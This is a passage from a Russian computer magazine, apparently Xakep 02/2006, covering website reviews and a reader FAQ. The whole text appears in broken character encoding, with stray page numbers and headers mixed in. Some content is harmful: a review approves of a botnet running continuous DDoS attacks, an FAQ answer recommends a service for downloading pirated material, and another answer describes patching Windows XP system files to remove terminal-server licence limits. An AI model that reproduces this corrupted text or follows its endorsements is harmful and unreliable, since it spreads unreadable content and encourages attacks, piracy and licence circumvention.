êðàñîòà âíóòðåííèõ îðãàíîâ

Óäîáñòâà àâòîñåêñà: ðàññêàç ïðîèçâîäèòåëåé

Êàê ïîñòàâèòü äåâóøêó... íà ñíîóáîðä

Ïîäàðêè íà 14 ôåâðàëÿ 6 Ìóæñêèõ ôàíòàçèé ñ ïåðåîäåâàíèåì

Çèìíèé âàðèàíò äàéâèíãà Ðîáîòû â òâîåì òåëå: íàíîòåõíîëîãèè óæå ðÿäîì

Èñõîäíîå ôîòî, äî îáðàáîòêè â Photoshop’å


ÞÍÈÒÛ ///// WWW PC_ZONE /////

Èçó÷àåì SQL â on-line www.sql-e ex.ru

Ýòîò ñàéò ÿâëÿåòñÿ íîìèíàíòîì ïðåìèè ðóíåòà 2005 è íîìèíàíòîì êîíêóðñà «ÈÒ-îáðàçîâàíèå â ðóíåòå». Öåëü ñàéòà — ïîìî÷ü êàæäîìó, êòî õî÷åò ïðèîáðåñòè èëè ïîâûñèòü ñâîè íàâûêè â íàïèñàíèè îïåðàòîðîâ ìàíèïóëÿöèè äàííûìè ÿçûêà SQL. Äëÿ ýòîãî àâòîðàìè ñàéòà çàâåäåíû ó÷åáíûå áàçû äàííûõ íà ñåðâåðå Microsoft SQL Server, ê êîòîðûì ìîæíî äåëàòü SQL-çàïðîñû, ñîãëàñíî òðåáóåìîìó çàäàíèþ.  ñëó÷àå íåïðàâèëüíîãî îòâåòà òû ñìîæåøü óçíàòü, êàêèå äàííûå âîçâðàùàåò ïðàâèëüíûé çàïðîñ, à òàêæå óâèäåòü, ÷òî âåðíóë òâîé çàïðîñ.  êîíöå òåñòèðîâàíèÿ âûäàåòñÿ ñåðòèôèêàò.

Êèáåðàíäåãðàóíä ïðîòèâ òåððîðèçìà www.peace4peace.com

Ñåãîäíÿ, êîãäà ñïåöñëóæáû è ïðàâèòåëüñòâî íå ñïîñîáíû ñïðàâèòüñÿ ñ òåððîðèçìîì, õàêåðû, ñïàìåðû, IT-ñïåöèàëèñòû è ïðî÷èå ïðåäñòàâèòåëè ðóññêîãîâîðÿùåãî êèáåðñîîáùåñòâà òåïåðü áóäóò íàñ ñïàñàòü! Ãëàâíàÿ öåëü êîìàíäû — óíè÷òîæåíèå òåððîðèñòè÷åñêèõ ñàéòîâ, ñàìûì èçâåñòíûì èç êîòîðûõ ÿâëÿåòñÿ ÊàâêàçÖåíòð. Ðåáÿòà ïîäîøëè ê äåëó ñåðüåçíî, çàïóñòèëè ìîùíûé áîòíåò, êîòîðûé êðóãëîñóòî÷íî DDoS’èò âðàæåñêèå ñàéòû è ïî êîòîðûì âåäåòñÿ îíëàéíîâàÿ ñòàòèñòèêà. Ðåáÿòà ðàäû âèäåòü â ñâîèõ ðÿäàõ âñåõ ñïåöèàëèñòîâ, ñïîñîáíûõ îêàçàòü ïîìîùü.

Íèçêîóðîâíåâàÿ ðàçðàáîòêà http://sysbin.com

_units

1 2 3

Ïðîôñîþç ïðîãðàììèñòîâ Ðîññèè www.pspr.ru

Îêàçûâàåòñÿ, â Ðîññèè ñóùåñòâóåò Ïðîôåññèîíàëüíûé Ñîþç Ïðîãðàììèñòîâ Ðîññèè (ÏÑÏÐ)! Êàê çàÿâëåíî íà ñàéòå, ÏÑÏÐ áûë ñîçäàí â ñåíòÿáðå 1993 ãîäà ïî èíèöèàòèâå ðÿäà ïðîãðàììèñòñêèõ ôèðì äëÿ êîîðäèíàöèè ñîçäàíèÿ è ïðîäâèæåíèÿ íà ðûíîê íîâûõ òîâàðîâ è òåõíîëîãèé, áàçèðóþùèõñÿ íà èñïîëüçîâàíèè èíôîðìàöèîííûõ òåõíîëîãèé è êîìïüþòåðíîé òåõíèêè. Îäíîé èç îñíîâíûõ çàäà÷, ïîñòàâëåííûõ ïåðåä ÏÑÏÐ, ÿâëÿåòñÿ çàùèòà (ñîöèàëüíàÿ, þðèäè÷åñêàÿ, ýêîíîìè÷åñêàÿ) ñâîèõ ÷ëåíîâ, êîòîðûõ óæå çàðåãèñòðèðîâàíî 2567 ÷åëîâåê. Òû òîæå ìîæåøü ñòàòü ÷ëåíîì ÏÑÏÐ!

DRMADñêàÿ HOMESITE http://drmad.chat.ru

Êîãäà-òî â Ðîññèè áûëà ñàìàÿ ñèëüíàÿ âèðóñíàÿ ñöåíà â ìèðå, íî ñåé÷àñ îíà ñêóêîæèëàñü, ñêðþ÷èëàñü, óñîõëà è óìåðëà. Ïîõîæå, îñòàëèñü òîëüêî äâà âèðìåéêåðà, êîòîðûå åùå ÷òî-òî äåëàþò, — ýòî íåáåçûçâåñòíûé Z0MBiE è ìåíåå èçâåñòíûé DrMad. Ãëÿäÿ íà ñòðàíè÷êó DrMad’à, ÿ â î÷åðåäíîé ðàç çàäàþñü âîïðîñîì: ïî÷åìó òàê ðåäêî ñîâìåùàåòñÿ â îäíîì ÷åëîâåêå õîðîøèé ïðîãðàììèñò è õîðîøèé äèçàéíåð? Ïðî÷èòàé íà åãî ñàéòå ðàçäåë «Çàíèìàòåëüíàÿ âèðóñîëîãèÿ». Íî âñå-òàêè ñàìûì èíòåðåñíûì ÿâëÿåòñÿ âèðóñíûé e-zine «Çåìñêèé Ôåðøàë», ðåäàêòîðîì êîòîðîãî ÿâëÿåòñÿ DrMad. 4 5

àâòîð èëëþñòðàöèè Èâàí Âåëè÷êî

ÈÂÀÍ ÑÊËßÐΠwww.sklyaroff.ru ÈÂÀÍ ÊÓÇÍÅÖΠAKA SEED seed@nsk.ru

Óíèêàëüíûé ðåñóðñ â ðóíåòå, ïîëíîñòüþ ïîñâÿùåííûé íèçêîóðîâíåâîé ðàçðàáîòêå, ñ óêëîíîì â osdev, òî åñòü ðàçðàáîòêå îïåðàöèîííûõ ñèñòåì. Ìíîãèå ìàòåðèàëû íàïèñàíû ñàìèìè ñîçäàòåëÿìè ñàéòà.

Ðàçóìååòñÿ, ñîáðàíà âñÿ íåîáõîäèìàÿ äîêóìåíòàöèÿ ïî îïåðàöèîííûì ñèñòåìàì, ôàéëîâûì ñèñòåìàì, ôîðìàòàì ôàéëîâ, à òàêæå êîìïèëÿòîðû, ðàçëè÷íûå òóëçû, èñõîäíûå êîäû è ïð. Àâòîðàìè òàêæå ïåðèîäè÷åñêè ïîïîëíÿåòñÿ îãðîìíàÿ êîëëåêöèÿ ìàëîèçâåñòíûõ, ðåäêèõ è óñòàðåâøèõ ñèñòåì, òàêèõ êàê Minix, OpenBeOS, Synergy, CP/M, Flop OS è äð.

136

XÀÊÅÐ 02 /86/ 06


Êîðûòî íà ïðîêà÷êó Äàåøü http://zubil.net êâàäðàòíûå øòàíû! Àâòîìîáèëè — íå ðîñêîøü, à âñåãî ëèøü áàíàëüíîå ñðåäñòâî ïåðåäâèæåíèÿ. Ïî äîðîãàì Ðîññèè êîëåñèò áåñêîíå÷íîå ìíîæåñòâî ðàçíîîáðàçíûõ æåëåçíûõ êîíåé. Ñðåäè íèõ èíîãäà ïîïàäàþòñÿ è òàêèå òâîðåíèÿ àâòîìîáèëüíîé ìûñëè, î êîòîðûõ íàì ïîâåñòâóåò ñàéò zubil.net. Ýòè àâòî — òîâàðû îòå÷åñòâåííîãî àâòîïðîìà ïîä êîäîâûì íàçâàíèåì «çóáèëà», ïðåäñòàâëÿþò èç ñåáÿ àâòîìîáèëè, îòòþíèíãîâàííûå ñâîèìè æå ñîáñòâåííûìè ðóêàìè. Èõ âëàäåëüöû, âîçîìíèâ ñåáÿ Øóìàõåðàìè è ïðåâðàòèâ ñâîè êîðûòà â çóáèëó, ñòàëè íàñòîÿùèì áè÷îì ðîññèéñêèõ ãîðîäñêèõ äîðîã. Ðåñóðñ ïðåäëàãàåò àâòîìîáèëèñòàì îáúåäèíèòüñÿ â áîðüáå ïðîòèâ çóáèë è èõ õîçÿåâ. Åñëè íàäîåë êîëõîçíûé òþíèíã è íàãëîñòü âîäèòåëåé, òî ñàéò òåáå áóäåò ïîëåçåí è èíòåðåñåí.

Ïîòîìó... ïîòîìó ÷òî ìû ïèëîòû! www.posadki.net

Ïðîåêò Ïîñàäêè.Net — ýòî áîãàòåéøèé ðåñóðñ, ïîñâÿùåííûé ðîññèéñêîé è ìèðîâîé àâèàöèè. Âåðíåå ñêàçàòü, ïîñâÿùåí îí âñå-òàêè õðîíèêàì ðàçëè÷íûõ àâèàêàòàñòðîô. Íà ñàéòå ïðèñóòñòâóåò ïîëíîå îïèñàíèå êàòàñòðîô è àâàðèéíûõ ïîñàäîê ñàìîëåòîâ è âåðòîëåòîâ, ñâÿçàííûõ ñ ãðàæäàíñêîé àâèàöèåé. Ñëó÷àè ñ âîåííûìè, ãðóçîâûìè è ÷àñòíûìè ñàìîëåòàìè. Ãëàâíîé öåëüþ ðåñóðñà, ïî óòâåðæäåíèþ àâòîðà, ÿâëÿåòñÿ ñîáðàíèå êàê ìîæíî áîëüøåé èíôîðìàöèè î ïðîèñøåñòâèÿõ â âîçäóõå â îäíîì ìåñòå. Ñàéò ñîäåðæèò ìíîãî àâèàöèîííûõ ôîòîãàëåðåé, ðàçëè÷íûõ áàåê è èñòîðèé, à òàêæå àíàëèòè÷åñêèå ìàòåðèàëû è îïèñàíèÿ ïðàêòè÷åñêè âñåõ ñàìîëåòîâ. 6 7

XÀÊÅÐ 02 /86/ 06

http://spongebob.ru

Ýòîò ñàéò ïîñâÿùåí ìóëüòèïëèêàöèîííîìó ïåðñîíàæó ïî èìåíè Ãóáêà Áîá-Êâàäðàòíûå øòàíû, êîòîðûé òàê ïîëþáèëñÿ áîëüøèì è ìàëåíüêèì çðèòåëÿì ñî âñåãî ìèðà. Íà ñàéòå ðàñïîëîæåíî áîëüøîå êîëè÷åñòâî èãð ñ ëþáèìûìè ïåðñîíàæàìè. Ñîáðàíû èçáðàííûå êàäðû èç ìóëüòôèëüìà, âûëîæåíî ôàíàòñêîå òâîð÷åñòâî: ðàçíîîáðàçíûå ñêðèíñåéâåðû, àâàòàðû, ôîíû è âñÿêèå óêðàøàòåëüñòâà. Òàêæå âûëîæåíà çàìå÷àòåëüíàÿ ìóçûêà, êîòîðàÿ çâó÷àëà â ìóëüòôèëüìå. Ïðîâîäÿòñÿ ïîñòîÿííûå âèêòîðèíû è êîíêóðñû íà çíàíèå ìóëüòà.  îáùåì, åñëè òåáå, òàê æå êàê è ñîçäàòåëþ ýòîãî ðåñóðñà, ñèìïàòè÷åí óäèâèòåëüíûé ïîäâîäíûé ìèð ñ åãî îáèòàòåëÿìè, ñòðàííîñòÿìè è øóòêàìè — äîáðî ïîæàëîâàòü íà ñòðàíèöû ñàéòà.

1

8

3

7

ØàõìàÁîêñ ðóëèò www.chessboxing.com

Ñîâñåì íåäàâíî â Ãåðìàíèè ñîñòîÿëñÿ ïåðâûé â èñòîðèè áîé çà òèòóë ÷åìïèîíà Åâðîïû ïî øàõáîêñó — íîâîìó âèäó ñïîðòà, îáúåäèíÿþùåìó â ñåáå áîêñ è øàõìàòû. Âñåãî ñòàíäàðòíûé ÷åìïèîíñêèé ïîåäèíîê â øàõáîêñå ñîñòîèò èç îäèííàäöàòè ðàóíäîâ: øåñòè øàõìàòíûõ ðàóíäîâ ïî 4 ìèíóòû è ïÿòè ðàóíäîâ áîêñà ïî äâå ìèíóòû. Ïîáåäèòåëåì îáúÿâëÿåòñÿ ñïîðòñìåí, îäîëåâøèé ñâîåãî ñîïåðíèêà â ëþáîì èç ýòèõ êîìïîíåíòîâ: ïîñòàâèâøèé ñîïåðíèêó ìàò, íîêàóòèðîâàâøèé åãî èëè âûèãðàâøèé ïî î÷êàì â áîêñåðñêîé ÷àñòè. Ñàéò www.chessboxing.com ÿâëÿåòñÿ âèðòóàëüíûì ïðåäñòàâèòåëüñòâîì äàííîãî âèäà ñïîðòà. Íà íåì ïóáëèêóþòñÿ ïîñëåäíèå íîâîñòè î øàõáîêñå, òåîðèÿ è ïðàêòèêà èãðû, à òàêæå åùå ìíîãî ïîëåçíîé èíôîðìàöèè. 8 9

9

2

4

5

6

137


ÞÍÈÒÛ ///// FAQ PC_ZONE /////

FAQ comments:

ÑÒÅÏÀÍ ÈËÜÈÍ AKA STEP

faq@real.xakep.ru _units

FAQ Q: Ñòðàííàÿ ïðîáëåìà. Èíåòà ñòàëî ìíîãî, à òîëêó îò ýòîãî ìàëî. Äàæå åñëè çàõî÷åøü ÷òîíèáóäü ñêà÷àòü — íè÷åãî íå ïîëó÷èòñÿ. Íà îáû÷íûõ HTTP/FTP-ð ðåñóðñàõ âàðåç äîëãî íå æèâåò. Ñ ïèðèíãîâûìè ñåòÿìè ïðèõîäèòñÿ äîëãî ìó÷èòüñÿ è îñòàâëÿòü êîìïüþòåð ðàáîòàòü 24 ÷àñà â ñóòêè. Îãðàíè÷åíèÿ www.rapidshade.de è ïîõîæèå ñåðâèñû äëÿ õðàíåíèÿ ôàéëîâ òîæå óáèâàþò: ôèëüìîâ òàì íå íàéäåøü, ñêîðîñòü çàêà÷êè íè÷òîæíî ìàëåíüêàÿ è ò.ä. Îáúÿñíè, êàê æå ìîæíî ñ êîìôîðòîì âûêà÷àòü ïàðó-òòðîéêó Ãá ñâåæåãî âàðåçà. Ýòî æå ðåàëüíî, âåðíî? A: Åñòü â ðóíåòå îäèí çàìå÷àòåëüíûé ñåðâèñ, êîòîðûé ñ ñàìîãî ñâîåãî ïîÿâëåíèÿ ñòàë âåðíûì ñîðàòíèêîì ëþáèòåëåé âàðåçà. Çàïîìíè ýòîò URL — www.filepost.ru, òàê êàê î÷åíü ñêîðî îí òåáå ïîíàäîáèòñÿ. Îñíîâíàÿ çàäà÷à ïðîåêòà äîâîëüíî óíèêàëüíà: ðåáÿòà çàêà÷èâàþò èç Ñåòè ôàéëû ïî óêàçàííûì òîáîþ ññûëêàì, çàïèñûâàþò èõ íà CD/DVD áîëâàíêè è îòïðàâëÿþò ïî ïî÷òå. Öåíà ïîäîáíîé óñëóãè âïîëíå áîæåñêàÿ (500 ðóáëåé çà DVD-äèñê), íî ñàìîå ãëàâíîå ñîñòîèò â äðóãîì. Àäìèíèñòðàöèåé íå âîçáðàíÿåòñÿ ïðîñòî çàêà÷àòü ôàéëû ñ èõ ñåðâåðà. Ñíà÷àëà ñ ïîìîùüþ âåá-èíòåðôåéñà òû ñîñòàâëÿåøü ñâîé ñîáñòâåííûé ñïèñîê «ñëîæíûõ» çàêà÷åê, æäåøü çàâåðøåíèÿ download’à (ñòàòóñ êàæäîãî ôàéëà îòîáðàæàåòñÿ íà ñàéòå), à ïîòîì ñ áîëüøîé ñêîðîñòüþ è êîìôîðòîì çàáèðàåøü èõ ñ filepost.ru ñâîåé ëþáèìîé êà÷àëêîé. Âåùü ïîòðÿñàþùàÿ, ñóäè ñàì. Ïîääåðæèâàåòñÿ çàêà÷êà íå òîëüêî ïî îáû÷íûì ïðîòîêîëàì HTTP/FTP, íî åùå è èç ïèðèíãîâûõ ñåòåé. Ñ ïîìîùüþ øëþçà eD2k-web òû ñìîæåøü ñêà÷èâàòü ôàéëû èç îñëà, äàæå åñëè òâîé ïðîâàéäåð çàáëîêèðîâàë íåîáõîäèìûå äëÿ ðàáîòû êëèåíòà ïîðòû. Áîëüøå íå ïðèäåòñÿ ñóäîðîæíî ñìîòðåòü íà ñìåõîòâîðíóþ ñêîðîñòü è îñòàâëÿòü êîìïüþòåð ðàáîòàòü ñóòêàìè, îæèäàÿ, êîãäà ïîÿâÿòñÿ íîâûå èñòî÷íèêè äëÿ çàêà÷êè. Íóæåí ôàéë èç BitTorrent? Íå âîïðîñ! Äîñòàòî÷íî îòïðàâèòü torrent-ôàéë íà ñåðâåð è íåìíîãî ïîäîæäàòü. Âñå çàêà÷àííûå ôàéëû ëåãêî âûêëàäûâàþòñÿ â îáùèé äîñòóï, ïîýòîìó íå ïîëåíèñü ïîñìîòðåòü â ñîîòâåòñòâóþùèé ðàçäåë. Ãèãàáàéòû ôèëüìîâ, ýëåêòðîííûå êíèæêè è êëóáíè÷êè ãàðàíòèðóþ. Q: Êàêèå ðåàëèçàöèè IPsec ñ ñåðâåðíîé ÷àñòüþ ïîä ëèíóêñ ïîñîâåòóåøü? Ïîïóëÿðíûé OpenVPN ñ SSL-ø øèôðîâàíèåì òðàôèêà ìåíÿ ïî íåêîòîðûì ïðè÷èíàì íå óñòðàèâàåò. A: Íàïîìíþ, ÷òî IPsec (IP Security) — ýòî çàùèùåííûé ïðîòîêîë IP, îäíèì èç ïðèíöèïîâ êîòîðîãî ÿâëÿåòñÿ íåïðåðûâíîå øèôðîâàíèå òðàôèêà. Êîíêðåòíûõ ðåàëèçàöèé ïîä ëèíóêñ íå òàê

138

XÀÊÅÐ 02 /86/ 06


óæ è ìíîãî, ìîãó âûäåëèòü òîëüêî IPsec-Tools (ipsec-tools.sourceforge.net) — ïîðò àâòîðèòåòíîãî ïàêåòà óòèëèò KAME’s Ipsec äëÿ ëèíóêñà ñ ÿäðîì 2.6. Ìîæåò áûòü òàêæå óñòàíîâëåí íà NetBSD è FreeBSD. Openswan (www.openswan.org) — ðåàëèçàöèÿ IPsec äëÿ ëèíóêñà, ïîääåðæèâàþùàÿ ÿäðà 2.0, 2.2, 2.4 è 2.6. Òàê ÷òî âî âðåìÿ íàñòðîéêè áåç ñåðüåçíîãî ìàíóàëà (www.natecarlson.com/linux/ipsecl2tp.php) íå îáîéòèñü. Çàòî êîãäà âñå íàñòðîèøü, óñòàíîâèøü ñâÿçü è ïðîâåðèøü êà÷åñòâî øèôðîâàíèÿ ñ ïîìîùüþ ñíèôåðà, áóäåøü äóìàòü: «Êàê æå ýòî ÿ áåç íåå ðàíüøå îáõîäèëñÿ?!». ïðîâàéäåð ñòðîãî çàïðåùàåò èñQ: Ìîé èíòåðíåò-ï ïîëüçîâàòü NAT-ì ìàðøðóòèçàöèþ äëÿ ðàçäà÷è Èíòåðíåòà â ëîêàëüíîé ñåòè. Ñêàæè, êàêèì îáðàçîì îí ìîæåò ýòî îòñëåäèòü? A: Ëþáîé IP-ïàêåò ñîñòîèò èç íåñêîëüêèõ ïîëåé. Ïðîõîäÿ ÷åðåç ìàðøðóòèçàòîð, îñóùåñòâëÿþùèé òðàíñëÿöèþ àäðåñîâ (NAT), ÷àñòü èç ýòèõ ïîëåé ìåíÿåòñÿ, ïðè÷åì ïî âïîëíå çàêîíîìåðíûì ïðèíöèïàì. Ïîëå TTL îïðåäåëÿåò êîëè÷åñòâî ìàðøðóòèçàòîðîâ, êîòîðîå ìîæåò ïðåîäîëåòü IP-ïàêåò ïðè äîñòàâêå îò îòïðàâèòåëÿ ê ïîëó÷àòåëþ. Ïðè ïðîõîæäåíèè ÷åðåç ìàðøðóòèçàòîð TTL óìåíüøàåòñÿ íà åäèíèöó. Ñîîòâåòñòâåííî, íà âûõîäå èç ëîêàëüíîé ñåòè ïàêåòû êîìïüþòåðîâ, íàõîäÿùèõñÿ çà NAT’îì, áóäóò èìåòü TTL íà åäèíèöó ìåíüøåå, ÷åì ïàêåòû, ïðèíàäëåæàùèå ñèñòåìå, îñóùåñòâëÿþùåé òðàíñëÿöèþ àäðåñîâ. Ëþáîìó ñåòåâîìó ïðîãðàììèñòó íå ñîñòàâèò òðóäà íàïèñàòü àíàëèçàòîð, îïðåäåëÿþùèé èñïîëüçîâàíèå NAT’à ïî ýòîìó ïðèçíàêó. Åùå îäèí ïðåäàòåëü — èäåíòèôèêàòîð IP-ïàêåòà. Êàæäûé ñîñòàâëåííûé ïàêåò â ñèñòåìå èìååò èäåíòèôèêàòîð, íà åäèíèöó áîëüøèé, ÷åì ó ïðåäûäóùåãî. Åñëè ê Èíòåðíåòó ïîäêëþ÷åí òîëüêî îäèí êîìïüþòåð, òî íà âûõîäå èç Ñåòè áóäåò ïðàâèëüíàÿ ïîñëåäîâàòåëüíîñòü èäåíòèôèêàòîðîâ (îáðàçíî: 1, 2, 3, .., n). Åñëè â Èíòåðíåòå ðàáîòàåò íå îäíà ìàøèíà, òî â èñõîäÿùåì òðàôèêå ìîæíî îòñëåäèòü ñðàçó íåñêîëüêî íåçàâèñèìûõ ïîñëåäîâàòåëüíîñòåé (1,11,2,12,3,13 è ò.ä.). Ïîïàëèñü! Ñïðàâåäëèâîñòè ðàäè çàìå÷ó, ÷òî óòàèòü èñïîëüçîâàíèå NAT’à âïîëíå ìîæíî. Î òîì, êàê ýòî ðåàëèçîâàòü, ðàññêàçûâàåò ïîäðîáíàÿ ñòàòüÿ íà íàøåì ñàéòå (www.xakep.ru/post/29448/default.asp). Q: Ñ ïîìîùüþ Cygwin’à ìîæíî êîìïèëèðîâàòü ëþáûå íèêñîâûå ïðîãðàììû, íî âñå îíè äëÿ çà ïóñêà òðåáóþò íàëè÷èÿ áèáëèîòåêè cygwin1.dll. À ìîæíî ëè ñîáðàòü ïðîãó òàê, ÷òîáû îíà íå áûêå? ëà ïðèâÿçàíà ê ýòîé DLL-ê A:  Cygwin’îâñêîì gcc åñòü òàêàÿ îïöèÿ, êàê mnocygwin. Ñ ýòîé îïöèåé ïîëó÷àþùèéñÿ â ðåçóëüòàòå EXE-ôàéë íå çàâèñèò îò cygwin-áèáëèîòåêè è òðåáóåò òîëüêî ñòàíäàðòíûå Microsoft’îâñêèå DLL. Q: Õëîïöû èç Microsoft îãðàíè÷èëè ðàáîòó Windows XP êàê ñåðâåðà òåðìèíàëîâ òîëüêî îä íèì ïîëüçîâàòåëåì. Ñóùåñòâóåò ëè ñïîñîá ïîäêëþ÷åíèÿ ñðàçó íåñêîëüêèõ óäàëåííûõ ïîëüçîâàòåëåé èëè åäèíñòâåííûì âûõîäîì ÿâ ëÿåòñÿ óñòàíîâêà ñåðâåðíîé âåðñèè Windows? A: Íà ñàìîì äåëå çàñòàâèòü ðàáîòàòü Windows XP êàê ñåðâåð òåðìèíàëîâ âïîëíå âîçìîæíî: ñèñòå-

XÀÊÅÐ 02 /86/ 06

139


ÞÍÈÒÛ /////FAQ

ÇÀÄÀÂÀß ÂÎÏÐÎÑ, ÏÎÄÓÌÀÉ! ÍÅ ÑÒÎÈÒ ÌÍÅ ÏÎÑÛËÀÒÜ ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ ÈÍÀ×Å ÑÂßÇÀÍÍÛÅ Ñ ÕÀÊÎÌ/ÊÐÝÊÎÌ/ÔÐÈÊÎÌ — ÄËß ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ (HACKFAQ@REAL.XAKEP.RU), ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ ÇÀÄÀÂÀÒÜ ÎÒÊÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ ÂÎÏÐÎÑÛ, ÎÒÂÅÒ ÍÀ ÊÎÒÎÐÛÅ ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍÍÎÌ ÆÅËÀÍÈÈ ÌÎÆÅØÜ ÍÀÉÒÈ È ÑÀÌ. ß ÍÅ ÒÅËÅÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊÐÅÒÈÇÈÐÓÉ ÂÎÏÐÎÑ, ÏÐÈÑÛËÀÉ ÊÀÊ ÌÎÆÍÎ ÁÎËÜØÅ ÈÍÔÎÐÌÀÖÈÈ. ìà âïîëíå óñïåøíî áóäåò ïðèíèìàòü ïîäêëþ÷åíèÿ îò áîëüøîãî êîëè÷åñòâà ïîëüçîâàòåëåé, ïðàêòè÷åñêè òàê æå, êàê è Windows 2000/2003 ñåðâåð. Äëÿ ýòîãî ïîòðåáóåòñÿ íåáîëüøîé ïàò÷, êîòîðûé íàçûâàåòñÿ TSFree. Íà ñàéòå http://free.pages.at/ antiwpa/Other/TerminalserverNoRestrPatch-1-1 òû ñìîæåøü íàéòè êàê ñàì ïàò÷, òàê è åãî èñõîäíèêè. Êàê òîëüêî TSFree ñäåëàåò ñâîå äåëî, Windows íà÷íåò ãðîìêî êðè÷àòü î òîì, ÷òî ñèñòåìíûå ôàéëû áûëè èçìåíåíû è èõ â ñðî÷íîì ïîðÿäêå íåîáõîäèìî âåðíóòü ê ïðåæíåìó âèäó. Íå ñîãëàøàéñÿ! Ïàò÷ âíîñèò ïîïðàâêè â winlogon.exe, termsrv.dll è mstscax.dll, ÷òîáû óäàëèòü îãðàíè÷åíèÿ âèíäû. Òåïåðü, êîãäà ñèñòåìà èçáàâëåíà îò îãðàíè÷åíèé, ìîæíî äîáàâèòü íîâîãî ïîëüçîâàòåëÿ è âíåñòè åãî â ãðóïïó «Ïîëüçîâàòåëè óäàëåííîãî ðàáî÷åãî ñòîëà». Äåëàåòñÿ ýòî ñ ïîìîùüþ âêëàäêè «Ñâîéñòâà» ïîëüçîâàòåëÿ, ê êîòîðîé ìîæíî äîáðàòüñÿ òàê: Àäìèíèñòðèðîâàíèå -> Óïðàâëåíèå êîìïüþòåðîì -> Ñëóæåáíûå ïðîãðàììû -> Ëîêàëüíûå ïîëüçîâàòåëè è ãðóïï -> Ïîëüçîâàòåëè. ×òîáû ñíÿòü îãðàíè÷åíèÿ íà êîëè÷åñòâî îäíîâðåìåííûõ ïîäêëþ÷åíèé, íàáåðè â êîìàíäíîé ñòðîêå gpedit.msc. Äîëæíî ïîÿâèòüñÿ îêíî «Ãðóïïîâàÿ ïîëèòèêà». Çäåñü âûáèðàé: Êîíôèãóðàöèÿ êîìïüþòåðà -> Àäìèíèñòðàòèâíûå øàáëîíû -> Êîìïîíåíòû Windows — Ñëóæáû òåðìèíàëîâ -> Îãðàíè÷èòü êîëè÷åñòâî ïîäêëþ÷åíèé.  ïîÿâèâøåìñÿ îêíå âûáåðè «Âêëþ÷åí» è â ïîëå «Ðàçðåøåíî ïîäêëþ÷åíèé ñåðâåðà òåðìèíàëîâ» ââåäè ìàãè÷åñêîå ÷èñëî 999999. Ãîòîâî. Ñóùåñòâóåò ñïåöèàëüíàÿ ïðîãðàììà WinConnect Server XP (www.ef1.ru), êîòîðàÿ äàåò âîçìîæíîñòü êîìïüþòåðó ñ Windows XP îäíîâðåìåííî óñòàíàâëèâàòü äî 21 ñåàíñà óäàëåííîãî ïîäêëþ÷åíèÿ. Ïîäðîáíîñòè ñìîæåøü íàéòè íà îôèöèàëüíîì ñàéòå ïðîãðàììû.

A: Æèë-áûë îäèí ÿïîíñêèé ïðîãðàììåð, êîòîðûé äíåì è íî÷üþ òàùèëñÿ îò ÿçûêà Perl, ïðîñòîãî â èçó÷åíèè, ýôôåêòèâíîãî, íî â òî æå âðåìÿ ëèøåííîãî îáúåêòíî-îðèåíòèðîâàííîé ñîñòàâëÿþùåé. È çàäàëñÿ ýòîò ïðîãðàììåð öåëüþ ñäåëàòü ñâîé ñîáñòâåííûé Perl, íî òîëüêî áîëåå ãèáêèé, ôóíêöèîíàëüíûé è çíàþùèé, ÷òî òàêîå îáúåêòû. È ñäåëàë. Íî íà ýòîì íå îñòàíîâèëñÿ è äîáàâèë â ñâîé ÿçûê èòåðàòîðû, îáðàáîòêó èñêëþ÷åíèé è äàæå àâòîìàòè÷åñêóþ ñáîðêó ìóñîðà. Îáîçâàë ñâîå äåòèùå Ruby (â ïåðåâîäå — ðóáèí) è ïðåäñòàâèë ïóáëèêå. Òî, ÷òî ïðåäñòàâëÿåò Ruby ñåé÷àñ, ìîæíî çàêà÷àòü ñ îôèöèàëüíîãî ñàéòà (www.ruby-lang.org): èíòåðïðåòàòîðû äîñòóïíû ïðàêòè÷åñêè äëÿ ëþáîé ïëàòôîðìû. ×òîáû íå ðàñïèñûâàòü äîñòîèíñòâà íà íåñêîëüêî ñòðàíèö, ïðèâåäó êðàòêîå îïèñàíèå äîñòîèíñòâ Ruby: • Ïîíÿòíûé ñèíòàêñèñ, êîòîðûé î÷åíü ïðîñòî îñâîèòü • Êëþ÷åâàÿ îñîáåííîñòü ñèñòåìû — ïîëíàÿ ïîääåðæêà îáúåêòíî-îðèåíòèðîâàííîãî ïîäõîäà ïðîãðàììèðîâàíèÿ. • Àâòîìàòè÷åñêèé ñáîðùèê ìóñîðà, èñêëþ÷àþùèé 1000 è åùå îäíó îøèáêó ïðîãðàììèñòà • Èñêëþ÷åíèÿ â ñòèëå Python/Java • Íå òðåáóåò îáúÿâëåíèå ïåðåìåííûõ, ïðè ýòîì îáëàñòü âèäèìîñòè îáîçíà÷àåòñÿ ñ ïîìîùüþ ïðîñòûõ ñîãëàøåíèé. Íàïðèìåð, varible — ýòî ëîêàëüíàÿ ïåðåìåííàÿ, à $var — ãëîáàëüíàÿ. • Óíèêàëüíàÿ îñîáåííîñòü Ruby — ïîääåðæêà ìíîãîïîòî÷íîñòè, íåçàâèñèìàÿ îò ÎÑ Â ïîñëåäíåå âðåìÿ áîëüøóþ ïîïóëÿðíîñòü ñðåäè ïðîãðàììèñòîâ çàâîåâàë ñïåöèàëüíûé ïàêåò ðàçðàáîòêè Ruby on Rails (www.rubyonrails.org), ïîçâîëÿþùèé çà ñ÷èòàííûå ìèíóòû ðàçðàáàòûâàòü ñëîæíûå âåá-ïðèëîæåíèÿ.

